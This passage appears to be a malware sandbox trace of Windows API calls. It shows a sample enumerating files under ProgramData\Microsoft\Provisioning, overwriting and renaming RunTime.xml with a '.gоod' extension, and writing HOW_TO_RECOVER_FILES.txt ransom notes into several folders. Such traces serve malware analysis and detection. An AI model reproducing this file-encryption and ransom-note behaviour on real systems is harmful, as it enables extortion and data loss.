cAlternateFileName="")) returned 1 [0112.787] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0112.787] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0112.787] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.787] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0112.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0112.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0112.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0112.787] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", lpFilePart=0x0) returned 0x51 [0112.787] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0112.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0112.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0112.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0112.788] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0112.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0112.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0112.789] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0112.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0112.789] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x35cd618 | out: lpFileInformation=0x35cd618*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab)) returned 1 [0112.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0112.789] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0112.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0112.789] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0112.789] GetFileType (hFile=0x6e0) returned 0x1 [0112.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0112.789] GetFileType (hFile=0x6e0) returned 0x1 [0112.789] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f9ed2a8 | out: lpFileSizeHigh=0x1f9ed2a8*=0x0) returned 0x1ab [0112.789] ReadFile (in: hFile=0x6e0, lpBuffer=0x35cdac0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed1d8, lpOverlapped=0x0 | out: lpBuffer=0x35cdac0*, lpNumberOfBytesRead=0x1f9ed1d8*=0x1ab, lpOverlapped=0x0) returned 1 [0112.791] CloseHandle (hObject=0x6e0) returned 1 [0113.308] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0113.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0113.308] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0113.384] GetFileType (hFile=0x7c8) returned 0x1 [0113.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0113.384] GetFileType (hFile=0x7c8) returned 0x1 [0113.384] WriteFile (in: hFile=0x7c8, lpBuffer=0x35258d0*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x1f9ed0e8, lpOverlapped=0x0 | out: lpBuffer=0x35258d0*, lpNumberOfBytesWritten=0x1f9ed0e8*=0x1b0, lpOverlapped=0x0) returned 1 [0113.385] CloseHandle (hObject=0x7c8) returned 1 [0113.385] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0113.385] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0113.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0113.385] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b0)) returned 1 [0113.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0113.386] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml.gоod")) returned 1 [0113.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0113.386] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0113.386] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0113.387] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.387] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e6fcbc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e6fcbc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Controls.provxml", cAlternateFileName="")) returned 1 [0113.387] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Controls.provxml", cAlternateFileName="")) returned 1 [0113.387] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.387] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0113.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0113.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0113.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0113.387] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0113.387] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0113.387] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.388] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e6fcbc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e6fcbc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Controls.provxml", cAlternateFileName="")) returned 1 [0113.388] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Controls.provxml", cAlternateFileName="")) returned 1 [0113.388] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Controls.provxml", cAlternateFileName="")) returned 0 [0113.388] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0113.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0113.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0113.388] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ec4c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0113.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec9e0) returned 1 [0113.388] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0113.389] GetFileType (hFile=0x7c8) returned 0x1 [0113.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec950) returned 1 [0113.389] GetFileType (hFile=0x7c8) returned 0x1 [0113.389] WriteFile (in: hFile=0x7c8, lpBuffer=0x3537ce0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ecaa8, lpOverlapped=0x0 | out: lpBuffer=0x3537ce0*, lpNumberOfBytesWritten=0x1f9ecaa8*=0x5d0, lpOverlapped=0x0) returned 1 [0113.392] CloseHandle (hObject=0x7c8) returned 1 [0113.392] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0113.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0113.392] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0113.393] GetFileType (hFile=0x7c8) returned 0x1 [0113.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0113.393] GetFileType (hFile=0x7c8) returned 0x1 [0113.393] WriteFile (in: hFile=0x7c8, lpBuffer=0x353b5d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x353b5d8*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0113.395] CloseHandle (hObject=0x7c8) returned 1 [0113.395] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0113.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0113.395] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0113.397] GetFileType (hFile=0x7c8) returned 0x1 [0113.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0113.397] GetFileType (hFile=0x7c8) returned 0x1 [0113.398] WriteFile (in: hFile=0x7c8, lpBuffer=0x353eec0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x353eec0*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0113.399] CloseHandle (hObject=0x7c8) returned 1 [0113.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0113.399] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", lpFilePart=0x0) returned 0x4c [0113.399] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0113.399] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.400] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540f90a7, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540f90a7, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x540f90a7, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0113.400] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, 